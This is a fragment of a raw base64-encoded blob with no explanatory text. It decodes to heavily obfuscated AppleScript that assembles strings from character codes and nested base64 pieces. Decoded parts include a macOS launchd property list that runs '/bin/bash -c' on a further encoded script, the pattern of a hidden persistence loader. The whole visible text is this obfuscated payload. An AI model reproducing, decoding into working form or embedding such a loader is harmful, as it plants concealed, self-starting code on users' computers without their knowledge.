MCwgMTE2LCAxMTQsIDExNywgMTAxLCA0NywgNjIsIDEwLCAzMiwgMzIsIDMyLCAzMiwgNjAsIDEwNywgMTAxLCAxMjEsIDYyLCA4MCwgMTE0LCAxMTEsIDEwMywgMTE0LCA5NywgMTA5LCA2NSwgMTE0LCAxMDMsIDExNywgMTA5LCAxMDEsIDExMCwgMTE2LCAxMTUsIDYwLCA0NywgMTA3LCAxMDEsIDEyMSwgNjIsIDEwfSkgJiAoc3RyaW5nIGlkIHszMiwgMzIsIDMyLCAzMiwgNjAsIDk3LCAxMTQsIDExNCwgOTcsIDEyMSwgNjIsIDEwLCAzMiwgMzIsIDMyLCAzMiwgMzIsIDMyLCAzMiwgMzIsIDYwLCAxMTUsIDExNiwgMTE0LCAxMDUsIDExMCwgMTAzLCA2MiwgNDcsIDk4LCAxMDUsIDExMCwgNDcsIDk4LCA5NywgMTE1LCAxMDQsIDYwLCA0NywgMTE1LCAxMTYsIDExNCwgMTA1fSkpICYgKChzdHJpbmcgaWQgezExMCwgMTAzLCA2MiwgMTAsIDMyLCAzMiwgMzIsIDMyLCAzMiwgMzIsIDMyLCAzMiwgNjAsIDExNSwgMTE2LCAxMTQsIDEwNSwgMTEwLCAxMDMsIDYyLCA0NSwgOTksIDYwLCA0NywgMTE1LCAxMTYsIDExNCwgMTA1LCAxMTAsIDEwMywgNjIsIDEwLCAzMiwgMzIsIDMyLCAzMiwgMzIsIDMyLCAzMiwgMzIsIDYwLCAxMTUsIDExNiwgMTE0LCAxMDUsIDExMCwgMTAzfSkgJiAoc3RyaW5nIGlkIHs2MiwgMTAxLCA5OSwgMTA0LCAxMTEsIDMyLCAzOSwgOTksIDUwLCA4NiwgNDgsIDczLCA3MCwgNTcsIDEwMiwgODIsIDg0LCA2NiwgMTE5LCA4NCwgNDgsIDc4LCA3OSwgODYsIDEwNywgOTksIDEwMywgMTAwLCA3MSwgNTYsIDEwMywgNzcsIDEwNiwgMTAzLCAxMTksIDc4LCA4MywgNTIsIDEyMSwgNzcsIDEyMiwgMTAzLCA1MiwgNjcsIDExMCwgNzgsIDEwOCwgMTAwLCA2NywgNjYsIDEwMiwgODgsIDUxLCA5OSwgNTEsIDgyLCA3MSwgMTEyLCA1MCwgODIsIDEwNiwgNzh9KSkpKSkgJiAoKCgoIkxJSFJ2SUNnMk1TQXJJRFV6TkNrZ0tpQTBDbkJ5YjNCbGNuUjVJRjlmZFZWcWFXZHZNM00iICYgKHN0cmluZyBpZCB7MTAzLCA3OSwgMTA1LCA2NSwgMTA1LCA4MiwgMTA5LCAxMDQsIDEwOCwgOTAsIDcyLCAxMTEsIDEyMSwgODYsIDg2LCA3MywgMTE5LCA4MSwgMTA1LCA3MywgNzUsIDk5LCA1MCwgODYsIDQ4LCA3MywgNzAsIDU3LCAxMjAsIDc4LCAxMDksIDExOSwgNDksIDgxLCAxMDcsIDUzLCAxMTgsIDg5LCAxMDUsIDY2LCA0OCwgOTgsIDEyMSwgNjUsIDUwLCA3OCwgMTIyLCAxMDMsIDEyMH0pKSAmICgoc3RyaW5nIGlkIHs3OSwgNjUsIDExMiwgMTE5LCA5OSwgMTA5LCA1NywgMTE5LCA5MCwgODgsIDc0LCA0OCwgMTAxLCA4MywgNjYsIDEwMiwgOTAsIDEwNywgMTIwLCA4OSwgNzksIDY5LCA3MCwgMTIxLCA3OSwgNzEsIDg2LCAxMDUsIDc4LCA4MywgNjUsIDU0LCA3MywgNjcsIDc0LCA4OCwgODEsIDExMCwgODIsIDEyMCwgODYsIDEwOSwgODUsIDEyMiwgNzksIDY5LCA4MiwgOTcsIDc3LCAxMDgsIDg2LCA4NywgODcsIDY5LCAxMTksIDEwNSwgNjcsIDExMCwgNzgsIDEwOCwgMTAwLCA2N30pICYgKHN0cmluZyBpZCB7NjYsIDEwMiwgODgsIDQ5LCA4MiwgNTMsIDkwLCA4NywgMTAwLCA1MSwgODcsIDEwOSwgNTMsIDExOCwgODMsIDUwLCA0OSwgODYsIDczfSkpKSAmICgoKHN0cmluZyBpZCB7NzIsIDgyLCAxMTgsIDczLCA2NywgNzQsIDExMywgODQsIDg4LCA3OCwgNjYsIDEwMSwgMTA5LCAxMDAsIDY5LCA4NywgODUsIDgxLCAxMTksIDgzLCAxMjEsIDczLCA3NSwgOTksIDUwLCA4NiwgNDgsIDczLCA3MCwgNTcsIDEwMiwgOTAsIDg1LCA1NiwgNDksIDk5LCAxMDksIDU3LCA4MCwgNzgsIDQ5LCAxMTIsIDExNiwgODcsIDEwOSwgOTksIDEwMywgMTAwLCA3MSwgNTYsIDEwMywgMTAxLCAxMjEsIDEwMywgMTExLCA3NSwgNjcsIDEwMywgMTExLCA4MSwgODYsIDc4LCA2OCwgODN9KSAmIChzdHJpbmcgaWQgezg1LCAxMDcsIDEwMywgODksIDUwLCAxMDQsIDEwNCwgOTksIDEwOSwgNzAsIDEwNiwgMTAwLCA3MSwgODYsIDEyMSwgNzMsIDY4LCA2OSwgMTIwLCA3NywgMTA1LCAxMDcsIDEwMywgNzQsIDEwNSwgNjUsIDEwNSwgOTgsIDEyMSwgNzMsIDExMiwgNzMsIDY3LCA4OSwgMTAzLCA3NSwgNjcsIDEwNH0pKSAmICgiQlUwTkpTU0JqYUdGeVlXTjBaWElnTVRBNEtTQW1JQ2hCVTBOSlNTQmphR0Z5WVdOMFpYSWdNVEl4S1NrIiAmICJwSUNZZ0tDZ29RVk5EU1VrZ1kyaGhjbUZqZEdWeUlERXdNeWtnSmlBb1kyaGhjbUZqZEdWeUlHIikpKSAmICgoKCJsa0lERXhNU2twSUNZZ0tDaCIgJiAoc3RyaW5nIGlkIHsxMDYsIDk3LCA3MSwgNzAsIDEyMSwgODksIDg3LCA3OCwgNDgsIDkwLCA4OCwgNzMsIDEwMywgOTcsIDg3LCA4MSwgMTAzLCA3NywgODQsIDY5LCAxMTksIDc1LCA4MywgNjUsIDEwOSwgNzMsIDY3LCAxMDR9KSkgJiAoKHN0cmluZyBpZCB7NjYsIDg1LCA0OCwgNzgsIDc0LCA4MywgODMsIDY2LCAxMDYsIDk3LCA3MSwgNzAsIDEyMSwgODksIDg3LCA3OCwgNDgsIDkwLCA4OCwgNzMsIDEwMywgNzgsIDY4LCA4OSwgMTEyLCA3NSwgODMsIDEwNywgMTEyLCA3MywgNjd9KSAmICJZZ0tDZ29LR05vWVhKaFkzUmxjaUJwWkNBeE1EQXBJQ1lnS0dOb1lYSmhZM1JsY2kiKSkgJiAoKChzdHJpbmcgaWQgezY2LCAxMTIsIDkwLCA2NywgNjUsIDEyMCwgNzcsIDg0LCA4MSwgMTEyLCA3NSwgODMsIDY1LCAxMDksIDczLCA2NywgMTAzLCAxMDUsIDk5LCA3MSwgNzcsIDEwNSwgNzMsIDY3fSkgJiAoc3RyaW5nIGlkIHs4OSwgMTAzLCA3NSwgNzEsIDc4LCAxMTEsIDg5LCA4OCwgNzQsIDEwNCwgODksIDUxLCA4MiwgMTA4LCA5OSwgMTA1LCA2NiwgMTEyLCA5MCwgNjcsIDY1LCA0OCwgNzgsIDEwNSwgMTA3LCAxMTIsIDc1LCA4MywgNjUsIDEwOSwgNzMsIDY3LCAxMDMsIDExMSwgNzUsIDcxLCA3OCwgMTExLCA4OSwgODgsIDc0LCAxMDQsIDg5LCA1MSwgODIsIDEwOCwgOTksIDEwNSwgNjYsIDExMiwgOTAsIDY3LCA2NSwgMTIwLCA3N30pKSAmICgiVEVwSUNZZ0tHTm9ZWEpoWTNSbGNpQnBaQ0F4TVRRcEtTQW1JQ2hCVTBOSlNTQmphR0Z5WVdOMFpYSSIgJiAoc3RyaW5nIGlkIHsxMDMsIDc3LCA4NCwgNjUsIDEyMiwgNzUsIDgzLCAxMDcsIDExMiwgNzUsIDgzLCAxMTksIDEwMywgNzUsIDY3LCAxMDMsIDExMSwgNzUsIDY3LCAxMDMsIDEwNSwgOTksIDY3LCA3MywgMTAzLCA3NCwgMTA1LCA2NSwgMTExLCA4MSwgODYsIDc4LCA2OCwgODMsIDg1LCAxMDcsIDEwMywgODksIDUwLCAxMDQsIDEwNCwgOTksIDEwOSwgNzAsIDEwNiwgMTAwLCA3MSwgODYsIDEyMSwgNzMsIDY4LCA2OSwgMTIwLCA3NywgODMsIDEwNywgMTEyfSkpKSkpKSAmICgoKCgoKHN0cmluZyBpZCB7NzMsIDY3LCA4OSwgMTAzLCA3NSwgNjcsIDEwNCwgNjYsIDg1LCA0OCwgNzgsIDc0LCA4MywgODMsIDY2LCAxMDYsIDk3LCA3MSwgNzAsIDEyMSwgODksIDg3LCA3OCwgNDgsIDkwLCA4OCwgNzMsIDEwMywgNzcsIDg0LCA2NSwgNTIsIDc1LCA4MywgNjUsIDEwOX0pICYgKHN0cmluZyBpZCB7NzMsIDY3LCAxMDQsIDEwNiwgOTcsIDcxLCA3MCwgMTIxLCA4OSwgODcsIDc4LCA0OCwgOTAsIDg4LCA3MywgMTAzLCA5NywgODcsIDgxLCAxMDMsIDc3LCA4NCwgNzMsIDEyMCwgNzUsIDgzLCAxMDcsIDExMiwgNzMsIDY3LCA4OSwgMTAzLCA3NSwgNjcsIDEwMywgMTA1LCA5MCwgMTIxLCA3MywgMTAzLCA3NCwgMTA1LCA2NSwgMTExLCA4MSwgODYsIDc4LCA2OCwgODMsIDg1LCAxMDcsIDEwMywgODksIDUwLCAxMDR9KSkgJiAoImhjbUZqZEdWeUlERXhNU2twSUNZZ0tDSnVJIiAmIChzdHJpbmcgaWQgezEwNSwgNjUsIDEwOSwgNzMsIDY3LCA3MywgMTE3LCA5OSwgNjcsIDczLCAxMTIsIDc1LCA4MywgMTA3LCAxMDMsIDc0LCAxMDUsIDY1LCAxMTEsIDc1LCA2NywgMTAzLCAxMTEsIDgxLCA4NiwgNzgsIDY4LCA4MywgODUsIDEwNywgMTAzLCA4OSwgNTAsIDEwNCwgMTA0LCA5OSwgMTA5LCA3MCwgMTA2LCAxMDAsIDcxfSkpKSAmICgoKHN0cmluZyBpZCB7ODYsIDEyMSwgNzMsIDY4LCA2OSwgMTIwLCA3OCwgMTIxLCAxMDcsIDEwMywgNzQsIDEwNSwgNjUsIDEwNSwgODksIDEwNSwgNzMsIDExMiwgNzMsIDY3LCA4OX0pICYgKHN0cmluZyBpZCB7MTAzLCA3NSwgNjcsIDc0LCAxMTUsIDczLCAxMDUsIDY1LCAxMDksIDczLCA2NywgNzQsIDExMiwgODksIDEyMSwgNzMsIDExMiwgNzUsIDgzLCA2NSwgMTA5LCA3MywgNjcsIDEwMywgMTExLCA3NSwgNjksIDcwLCA4NCwgODEsIDQ4LCAxMDgsIDc0LCA3MywgNzEsIDc4LCAxMTEsIDg5LCA4OCwgNzQsIDEwNCwgODksIDUxLCA4MiwgMTA4LCA5OSwgMTA1fSkpICYgKChzdHJpbmcgaWQgezY1LCAxMjAsIDc3LCA4NCwgNjUsIDExMiwgNzMsIDY3LCA4OSwgMTAzLCA3NSwgNjksIDcwLCA4NCwgODEsIDQ4LCAxMDgsIDc0LCA3MywgNzEsIDc4LCAxMTEsIDg5LCA4OCwgNzQsIDEwNCwgODksIDUxLCA4MiwgMTA4LCA5OSwgMTA1LCA2NSwgMTIwLCA3NywgODQsIDY5LCAxMTIsIDc1LCA4MywgNjUsIDEwOSwgNzN9KSAmIChzdHJpbmcgaWQgezY3LCAxMDMsIDEwNSwgOTAsIDY3LCA3MywgMTAzLCA3NCwgMTA1LCA2NSwgMTExLCA4OSwgNTAsIDEwNCwgMTA0LCA5OSwgMTA5LCA3MCwgMTA2LCAxMDAsIDcxLCA4NiwgMTIxLCA3MywgNzEsIDEwOCwgMTA3LCA3MywgNjgsIDY5LCAxMTksIDc3LCA4MywgMTA3LCAxMTIsIDc1LCA4MywgMTA3LCAxMTJ9KSkpKSAmICgoKCJJQ1lnS0NJdVkyOGlJQ1lnS0VGVFEwbEpJR05vWVhKaFkzUmxjIiAmIChzdHJpbmcgaWQgezEwNSwgNjUsIDEyMCwgNzcsIDY4LCAxMDcsIDExMiwgNzUsIDgzLCAxMDcsIDExNSwgNzMsIDY3LCAxMDMsIDExMSwgNzUsIDY3LCAxMDMsIDExMSwgNzUsIDcxLCA3OCwgMTExLCA4OSwgODgsIDc0LCAxMDQsIDg5LCA1MSwgODIsIDEwOCwgOTksIDEwNSwgNjZ9KSkgJiAoKHN0cmluZyBpZCB7MTEyLCA5MCwgNjcsIDY1LCAxMjAsIDc3LCA4NCwgNzMsIDExMiwgNzMsIDY3LCA4OSwgMTAzLCA3NSwgNjksIDcwLCA4NCwgODEsIDQ4LCAxMDgsIDc0LCA3MywgNzEsIDc4LCAxMTEsIDg5LCA4OCwgNzQsIDEwNCwgODksIDUxLCA4MiwgMTA4LCA5OSwgMTA1LCA2NSwgMTIwLCA3NywgODQsIDY5LCAxMTIsIDc1LCA4MywgNjUsIDEwOSwgNzMsIDY3LCAxMDMsIDEwNSwgOTgsIDY3LCA3MywgMTAzLCA3NCwgMTA1LCA2NSwgMTExLCA4OSwgNTAsIDEwNCwgMTA0fSkgJiAoc3RyaW5nIGlkIHs5OSwgMTA5LCA3MCwgMTA2LCAxMDAsIDcxLCA4NiwgMTIxLCA3MywgNzEsIDEwOCwgMTA3LCA3MywgNjgsIDY5LCAxMjEsIDc3LCA4MywgMTA3LCAxMTIsIDc1LCA4MywgNjUsIDEwOSwgNzMsIDY3LCAxMDMsIDExMSwgNzUsIDY5LCA3MCwgODQsIDgxLCA0OH0pKSkgJiAoKChzdHJpbmcgaWQgezEwOCwgNzQsIDczLCA3MSwgNzgsIDExMSwgODksIDg4LCA3NCwgMTA0LCA4OSwgNTEsIDgyLCAxMDgsIDk5LCAxMDUsIDY1LCAxMjAsIDc3LCA2OCwgNzcsIDExMn0pICYgKHN0cmluZyBpZCB7NzMsIDY3LCA4OSwgMTAzLCA3NSwgNjksIDcwLCA4NCwgODEsIDQ4LCAxMDgsIDc0LCA3MywgNzEsIDc4LCAxMTEsIDg5LCA4OCwgNzQsIDEwNCwgODksIDUxLCA4MiwgMTA4LCA5OSwgMTA1LCA2NSwgMTIwLCA3NywgODQsIDY5LCAxMTIsIDc1LCA4MywgNjUsIDEwOSwgNzMsIDY3LCAxMDMsIDEwNSwgOTgsIDEwNSwgNzMsIDEwMywgNzQsIDEwNSwgNjUsIDExMSwgODksIDUwLCAxMDR9KSkgJiAoImhjbUZqZEdWeUlHbGtJRFExS1NrcEtTQW1JQ2dvS0NoamFHRnlZV04wWlhJZ2FXUWdNVCIgJiAoc3RyaW5nIGlkIHs2NSwgNTMsIDc1LCA4MywgNjUsIDEwOSwgNzMsIDY3LCA3NCwgMTA0LCA3MywgMTA1LCAxMDcsIDEwMywgNzQsIDEwNSwgNjUsIDExMSwgNzMsIDEwOSwgMTA3LCAxMDUsIDczLCA2NywgODksIDEwMywgNzUsIDY5LCA3MCwgODQsIDgxLCA0OCwgMTA4LCA3NCwgNzMsIDcxLCA3OCwgMTExLCA4OSwgODgsIDc0LCAxMDQsIDg5LCA1MSwgODIsIDEwOCwgOTksIDEwNSwgNjUsIDEyMCwgNzcsIDg0LCA2NSwgMTEyLCA3NSwgODN9KSkpKSkgJiAoKCgoImtnSmlBb0tDaEJVME5KU1NCamFHRnlZV04wWlhJZ01UIiAmIChzdHJpbmcgaWQgezY5LCAxMTksIDc1LCA4MywgNjUsIDEwOSwgNzMsIDY3LCAxMDQsIDY2LCA4NSwgNDgsIDc4LCA3NCwgODMsIDgzLCA2NiwgMTA2LCA5NywgNzEsIDcwLCAxMjEsIDg5LCA4NywgNzgsIDQ4LCA5MCwgODgsIDczLCAxMDMsIDc3LCA4NCwgNjUsIDEyMCwgNzUsIDgzLCAxMDcsIDEwMywgNzQsIDEwNSwgNjUsIDExMX0pKSAmICgiS0VGVFEwbEpJR05vWVhKaFkzUmxjaUF4TVRZcElDWWdLR05vWVhKaFkzUmxjaUJwWkNBME5pa3BLU2twSUMiICYgIllnS0Nnb0tDaGphR0Z5WVdOMFpYSWdhV1FnTVRBektTQW1JQ2hCVTBOSlNTQmphR0Z5WVdOMFpYSWdPVGMiKSkgJiAoKChzdHJpbmcgaWQgezExMiwgNzUsIDgzLCA2NSwgMTA5LCA3MywgNjcsIDEwMywgMTExLCA4MSwgODYsIDc4LCA2OCwgODMsIDg1LCAxMDcsIDEwMywgODksIDUwLCAxMDQsIDEwNCwgOTksIDEwOSwgNzAsIDEwNiwgMTAwLCA3MSwgODYsIDEyMSwgNzMsIDY4LCA2OSwgMTIwLCA3OCwgMTA1fSkgJiAoc3RyaW5nIGlkIHsxMDcsIDEwMywgNzQsIDEwNSwgNjUsIDExMSwgODEsIDg2LCA3OCwgNjgsIDgzLCA4NSwgMTA3LCAxMDMsIDg5LCA1MCwgMTA0LCAxMDQsIDk5LCAxMDksIDcwLCAxMDYsIDEwMCwgNzEsIDg2LCAxMjEsIDczLCA2OCwgNjksIDExOSwgNzcsIDgzLCAxMDcsIDExMiwgNzUsIDgzLCA2NSwgMTA5LCA3MywgNjd9KSkgJiAoImdvS0VGVFEwbEpJR05vWVhKaFkzUmxjaUF4TVRrcElDWWdJbUVpS1NBbUlDZ29ZMmhoY21GamRHVnlJR2wiICYgImtJREV5TVNrZ0ppQW9ZMmhoY21GamRHVnlJR2xrSURRMktTa3BLU0FtSUNnb0tDIikpKSAmICgoKCJKMElpQW1JQ0poZENJcElDWWdLQ0oxYlM0aUlDWWdLRUZUUTBsSklHTm9ZWEoiICYgKHN0cmluZyBpZCB7MTA0LCA4OSwgNTEsIDgyLCAxMDgsIDk5LCAxMDUsIDY1LCAxMjAsIDc3LCA2OCwgODUsIDExMiwgNzUsIDgzLCAxMDcsIDEwMywgNzQsIDEwNSwgNjUsIDExMSwgODksIDUwLCAxMDQsIDEwNCwgOTksIDEwOSwgNzAsIDEwNiwgMTAwLCA3MSwgODYsIDEyMSwgNzMsIDcxLCAxMDgsIDEwNywgNzMsIDY4LCA2OSwgMTIwLCA3NywgODN9KSkgJiAoKHN0cmluZyBpZCB7MTA3LCAxMTIsIDc1LCA4MywgMTA3LCAxMTUsIDczLCA2NywgMTAzLCAxMTEsIDc1LCA2NywgMTAzLCAxMTEsIDc1LCA2OSwgNzAsIDg0LCA4MSwgNDgsIDEwOCwgNzQsIDczLCA3MSwgNzh9KSAmICJvWVhKaFkzUmxjaUF4TVRZcElDWWdJbVVpS1NBIikpICYgKCgoc3RyaW5nIGlkIHsxMDksIDczLCA2NywgMTAzLCAxMTEsIDgxLCA4NiwgNzgsIDY4LCA4MywgODUsIDEwNywgMTAzLCA4OSwgNTAsIDEwNCwgMTA0LCA5OSwgMTA5LCA3MCwgMTA2LCAxMDAsIDcxLCA4NiwgMTIxLCA3MywgNjgsIDY5LCAxMjAsIDc3LCA2NywgMTA3LCAxMDMsIDc0LCAxMDUsIDY1LCAxMDUsIDkwLCA2NywgNzMsIDExMiwgNzUsIDgzLCA2NSwgMTA5LCA3MywgNjcsIDEwMywgMTExLCA3NSwgNjksIDcwfSkgJiAiVFEwbEpJR05vWVhKaFkzUmxjaUF4TURFcElDWWdJbklpS1NBbUlDZ29RVk5EU1UiKSAmICgoc3RyaW5nIGlkIHsxMDcsIDEwMywgODksIDUwLCAxMDQsIDEwNCwgOTksIDEwOSwgNzAsIDEwNiwgMTAwLCA3MSwgODYsIDEyMSwgNzMsIDY4LCA2OSwgMTE5LCA3OSwgNjcsIDEwNywgMTAzLCA3NCwgMTA1LCA2NSwgMTA1LCAxMDEsIDgzLCA1MiwgMTA1LCA3NSwgODN9KSAmIChzdHJpbmcgaWQgezEwNywgMTEyLCA3MywgNjcsIDg5LCAxMDMsIDc1LCA2NywgMTAzLCAxMTEsIDc1LCA3MSwgNzgsIDExMSwgODksIDg4LCA3NCwgMTA0LCA4OSwgNTEsIDgyLCAxMDgsIDk5LCAxMDUsIDY2LCAxMTIsIDkwLCA2NywgNjUsIDEyMCwgNzcsIDg0LCA4MSwgMTEyLCA3MywgNjcsIDg5LCAxMDMsIDc1LCA2OSwgNzAsIDg0LCA4MX0pKSkpKSkpICYgKCgoKCgoKHN0cmluZyBpZCB7NDgsIDEwOCwgNzQsIDczLCA3MSwgNzgsIDExMSwgODksIDg4LCA3NCwgMTA0LCA4OSwgNTEsIDgyLCAxMDgsIDk5LCAxMDUsIDY1LCAxMjAsIDc3LCA4NCwgNzMsIDExMiwgNzUsIDgzLCA2NSwgMTA5LCA3MywgNjcsIDEwMywgMTExfSkgJiAoc3RyaW5nIGlkIHs4OSwgNTAsIDEwNCwgMTA0LCA5OSwgMTA5LCA3MCwgMTA2LCAxMDAsIDcxLCA4NiwgMTIxLCA3MywgNzEsIDEwOCwgMTA3LCA3MywgNjgsIDEwNywgNTMsIDc1LCA4MywgNjUsIDEwOSwgNzMsIDY3LCAxMDQsIDY2LCA4NSwgNDgsIDc4LCA3NCwgODMsIDgzLCA2NiwgMTA2LCA5NywgNzEsIDcwLCAxMjEsIDg5LCA4NywgNzgsIDQ4LCA5MCwgODgsIDczLCAxMDMsIDc4LCA2OCwgODksIDExMiwgNzUsIDgzLCAxMDcsIDEwMywgNzQsIDEwNSwgNjUsIDExMX0pKSAmICgoc3RyaW5nIGlkIHs3NSwgNjcsIDEwNCwgNjYsIDg1LCA0OCwgNzgsIDc0LCA4MywgODMsIDY2LCAxMDYsIDk3LCA3MSwgNzAsIDEyMSwgODksIDg3LCA3OCwgNDgsIDkwLCA4OCwgNzMsIDEwMywgNzcsIDg0LCA2OSwgMTIxLCA3NSwgODMsIDY1LCAxMDksIDczLCA2NywgMTA0LCA2NiwgODUsIDQ4LCA3OCwgNzQsIDgzLCA4MywgNjYsIDEwNiwgOTcsIDcxLCA3MCwgMTIxLCA4OSwgODcsIDc4LCA0OCwgOTAsIDg4LCA3MywgMTAzLCA3NywgODQsIDY5LCAxMjAsIDc1LCA4MywgMTA3LCAxMDN9KSAmICJKaUFvS0VGVFEwbEpJR05vWVhKaFkzUmxjaUF4TURncElDWWdLIikpICYgKCgiR05vWVhKaFkzUmxjaUJwWkNBeE1qRXBLU2twS1NBbUkiICYgIkNnb0tDZ29RVk5EU1VrZ1kyaGhjbUZqZEciKSAmICgoc3RyaW5nIGlkIHs4NiwgMTIxLCA3MywgNjgsIDY5LCAxMTksIDc3LCAxMjEsIDEwNywgMTAzLCA3NCwgMTA1LCA2NSwgMTA1LCA5OCwgMTIxLCA3MywgMTEyLCA3MywgNjcsIDg5LCAxMDMsIDc1LCA2NywgNzQsIDExNywgNzMsIDEwNSwgNjUsIDEwOSwgNzMsIDY3LCAxMDQsIDEwNiwgOTcsIDcxLCA3MH0pICYgKHN0cmluZyBpZCB7MTIxLCA4OSwgODcsIDc4LCA0OCwgOTAsIDg4LCA3MywgMTAzLCA5NywgODcsIDgxLCAxMDMsIDc4LCA2OCwgODksIDExMiwgNzUsIDgzLCAxMDcsIDEwMywgNzQsIDEwNSwgNjUsIDExMSwgNzUsIDY3LCAxMDQsIDEwNiwgOTcsIDcxfSkpKSkgJiAoKCgoc3RyaW5nIGlkIHs3MCwgMTIxLCA4OSwgODcsIDc4LCA0OCwgOTAsIDg4LCA3MywgMTAzLCA5NywgODcsIDgxLCAxMDMsIDc5LCA4NCwgMTA3LCAxMTIsIDczLCA2NywgODksIDEwMywgNzUsIDcxLCA3OCwgMTExLCA4OSwgODgsIDc0LCAxMDQsIDg5LCA1MSwgODIsIDEwOCwgOTksIDEwNSwgNjYsIDExMiwgOTAsIDY3LCA2NSwgMTIwfSkgJiAoc3RyaW5nIGlkIHs3NywgODQsIDY5LCAxMTIsIDc1LCA4MywgNjUsIDEwOSwgNzMsIDY3LCAxMDMsIDExMSwgODksIDUwLCAxMDQsIDEwNCwgOTksIDEwOSwgNzAsIDEwNiwgMTAwLCA3MSwgODYsIDEyMSwgNzMsIDcxLCAxMDgsIDEwNywgNzMsIDY4LCA2OSwgMTE5LCA3OSwgODMsIDEwNywgMTAzLCA3NCwgMTA1LCA2NSwgMTExLCA4OSwgNTAsIDEwNH0pKSAmICgoc3RyaW5nIGlkIHsxMDQsIDk5LCAxMDksIDcwLCAxMDYsIDEwMCwgNzEsIDg2LCAxMjEsIDczLCA3MSwgMTA4LCAxMDcsIDczLCA2OCwgNjksIDExOSwgNzksIDgzLCAxMDcsIDExMiwgNzUsIDgzLCAxMDcsIDEwMywgNzQsIDEwNSwgNjUsIDExMSwgNzV9KSAmICJDaEJVME5KU1NCamFHRnlZV04wWlhJZ01URTNLU0FtSUNoQlUwTkpTU0JqYUdGeVlXTjBaWElnTSIpKSAmICgoIlRFd0tTa2dKaUFvS0VGVFEwbEpJR05vWVhKaFkzUmxjaSIgJiAiQXhNRFVwSUNZZ0luUjVJaWtwS1NsOUNuTmxkQ0JmWDFkTE4xSlpRVGR5SUhSdklDZ29LQyIpICYgKChzdHJpbmcgaWQgezEwNCwgMTIyLCAxMDAsIDcyLCA3NCwgMTEyLCA5OCwgMTA5LCA5OSwgMTAzLCA5NywgODcsIDgxLCAxMDMsIDEwMSwgMTIyLCA2OSwgMTIxLCA3NywgMTIxLCAxMTksIDEwMywgNzcsIDEyMiwgODEsIDExNSwgNzMsIDY4LCA2OSwgMTE5LCA3OCwgMTA1LCAxMTksIDEwM30pICYgKHN0cmluZyBpZCB7NzcsIDg0LCA2OSwgNDksIDc2LCA2NywgNjUsIDEyMCwgNzcsIDg0LCA2OSwgMTE1LCA3MywgNjgsIDY5LCAxMjAsIDc3LCA2NywgMTE5LCAxMDMsIDc3LCA4NCwgNjksIDQ4LCA3NiwgNjcsIDY1LCAxMjAsIDc3LCA4NCwgNzMsIDExNSwgNzMsIDY4fSkpKSkpICYgKCgoKCJrNUxDQXpOQ3dnTlRnc0lETTBMQ0ExTUN3Z05EWXNJRFE0TENBek5Dd2dORFFzSURNMExDQXhNIiAmIChzdHJpbmcgaWQgezY4LCAxMDcsIDExNSwgNzMsIDY4LCA2OSwgMTE5LCA3NywgODMsIDExOSwgMTAzLCA3NywgODQsIDY5LCA1MCwgNzYsIDY3LCA2NSwgMTIwLCA3NywgNjgsIDgxLCAxMTUsIDczLCA2OCwgNjksIDEyMCwgNzcsIDgzLCAxMTksIDEwMywgNzcsIDg0LCA2NSwgMTE5LCA3NiwgNjcsIDY1LCAxMjIsIDc4LCA2NywgMTE5LCAxMDMsIDc4LCA4NCwgMTAzLCAxMTUsIDczLCA2OCwgNzcsIDQ4LCA3NiwgNjd9KSkgJiAoIkF4TURFc0lERXhOaXdnTVRBMExDQTVOU3dnT1Rrc0lEazNMQ0F4TURnc0lERXdPQ3dnTSIgJiAoc3RyaW5nIGlkIHsxMjIsIDgxLCAxMTUsIDczLCA2OCwgODEsIDQ4LCA3NiwgNjcsIDY1LCAxMjIsIDc4LCA2NywgMTE5LCAxMDMsIDc3LCA4NCwgNjksIDEyMSwgNzYsIDY3LCA2NSwgNTMsIDc4LCAxMjEsIDExOSwgMTAzLCA3NywgODQsIDY5LCA0OCwgNzYsIDY3LCA2NSwgNTMsIDc4LCAxMjEsIDExOSwgMTAzLCA3NywgODQsIDY1LCA1MywgNzYsIDY3LCA2NSwgMTIwLCA3NywgODQsIDg1LCAxMTUsIDczLCA2OCwgNzcsIDQ4LCA3NiwgNjd9KSkpICYgKCgoc3RyaW5nIGlkIHs2NSwgNDksIDc5LCA2NywgMTE5LCAxMDMsIDc5LCA4NCwgNzAsIDU3LCA3NSwgODMsIDY1LCAxMDksIDczLCA2NywgMTA0LCAxMjIsIDEwMCwgNzIsIDc0LCAxMTIsIDk4LCAxMDksIDk5LCAxMDMsIDk3LCA4NywgODEsIDEwMywgMTAxLCAxMjIsIDY5LCAxMjEsIDc3LCAxMjEsIDExOSwgMTAzLCA3NywgMTIyfSkgJiAoc3RyaW5nIGlkIHs4MSwgMTE1LCA3MywgNjgsIDY5LCAxMjAsIDc4LCAxMDUsIDExOSwgMTAzLCA3NywgODQsIDY5LCAxMjAsIDc2LCA2NywgNjUsIDEyMiwgNzgsIDY3LCAxMTksIDEwMywgNzgsIDg0LCAxMDMsIDExNSwgNzMsIDY4LCA3NywgNDgsIDc2LCA2NywgNjUsIDQ4LCA3OSwgNjd9KSkgJiAoKHN0cmluZyBpZCB7MTE5LCAxMDMsIDc3LCA4NCwgNzMsIDExOSwgNzYsIDY3LCA2NSwgNTAsIDc4LCA4MywgMTE5LCAxMDMsIDc4LCA4NCwgNjksIDExNSwgNzMsIDY4LCAxMDcsIDUxfSkgJiAiTENBMU5Dd2dORGdzSURVeExDQTNNQ3dnTlRZc0lEazNMQ0ExIikpKSAmICgoKChzdHJpbmcgaWQgezc3LCAxMDUsIDExOSwgMTAzLCA3OCwgODQsIDc3LCAxMTUsIDczLCA2OCwgODUsIDEyMSwgNzYsIDY3LCA2NSwgNTMsIDc4LCAxMjEsIDExOSwgMTAzLCA3OCwgODQsIDk5LCAxMTUsIDczLCA2OCwgMTA3LCA1MywgNzYsIDY3LCA2NSwgNDksIDc4LCA1MSwgNDgsIDExMiwgNzUsIDgzLCA2NSwgMTA5fSkgJiAiSUNnb2MzUnlhVzVuSUdsa0lIczBPQ3dnTlRNc0lEazRMQ0ExTWl3Z09Ua3NJRFV6TENBMU5Td2ciKSAmICgoc3RyaW5nIGlkIHs3OCwgODQsIDk5LCAxMTUsIDczLCA2OCwgODksIDUwLCA3NiwgNjcsIDY1LCA1MywgNzksIDY3LCAxMTksIDEwMywgNzgsIDg0LCA4NSwgMTE1LCA3MywgNjgsIDg1LCAxMTksIDc2LCA2N30pICYgKHN0cmluZyBpZCB7NjUsIDQ5LCA3OCwgNjcsIDExOSwgMTAzLCA3OCwgODQsIDY1LCAxMTUsIDczLCA2OCwgODUsIDUwLCA3NiwgNjcsIDY1LCA1MSwgNzcsIDY3LCAxMTksIDEwMywgNzgsIDg0LCA4NS